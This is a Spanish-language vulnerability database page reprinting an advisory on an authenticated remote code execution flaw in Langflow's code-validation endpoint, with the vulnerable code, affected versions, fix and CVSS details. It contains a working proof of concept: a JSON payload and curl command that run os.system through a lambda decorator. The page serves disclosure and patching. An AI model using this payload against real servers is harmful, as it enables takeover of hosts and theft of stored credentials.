Alta

Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

  • Publicada: 05.10.2026
  • Actualizado: 15.10.2026 18:17

###Summary: A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.

Details

The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).

The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:

# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
    code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
    # ...
    # exec_globals creates a restricted-looking scope, but standard builtins are available
    exec(code_obj, exec_globals)

By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.

Affected Versions

  • /api/v1/validate/code had no authentication at all until commit 3fed9fe1b5 ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same exec() sink was reachable unauthenticated.
  • From v1.7.2 through v1.10.0, the endpoint required a valid session but the exec() sink was untouched, so any authenticated user (or any user at all under AUTO_LOGIN) could trigger RCE via a malicious decorator as described below.
  • Fixed in v1.10.1 — see Fix section.

PoC

  • Authenticate as any user (acquire a valid access token or API key).
  • Send a POST request to /api/v1/validate/code with the following JSON payload:
{
  "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"
}

Curl Example

bash
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
     -H "Authorization: Bearer <YOUR_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n    pass"}'

Verify: Check the server file system. The file /tmp/pwned will be created.

Impact

This vulnerability results in Remote Code Execution (RCE).

Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.

Fix

Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.

This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) langflow >= 1.7.2, < 1.10.1 1.10.1

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-94
Plataforma
Python (PyPI)
Paquete
langflow
Publicada
05.10.2026
Actualizado
15.10.2026 18:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-4236 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w584-2h2r-2hvf - CC BY 4.0

Historial de vulnerabilidades: langflow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (42) en el archivo
Entradas en total
42
Primera → última
06.2024 10.2026
Sin corrección
7
Explotada en ataques
5

Distribución por gravedad

  • Crítica 15
  • Alta 17
  • Media 7
  • Baja 3

Divulgaciones por año

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Gravedad:
  1. Crítica · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  2. Crítica · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  3. Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description esta entrada
    Alta · 8.8 CVE-2026-51886 >= 1.7.2, < 1.10.1 1.10.1
  4. Alta · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  5. Crítica · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  6. Crítica · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  7. Alta · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  8. Crítica · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
  9. Crítica · 9.8 Explotada en ataques CVE-2026-33017 < 1.9.0 1.9.0
  10. Crítica · 9.8 CVE-2026-27966 <= 1.8.0rc2 sin corrección
  11. Alta Explotada en ataques CVE-2026-0770 <= 1.7.3 sin corrección
  12. Alta · 7.7 CVE-2025-68477 < 1.7.1 1.7.1
  13. Alta · 7.1 CVE-2025-68478 < 1.7.1 1.7.1
  14. Crítica Explotada en ataques CVE-2025-3248 < 1.3.0 1.3.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.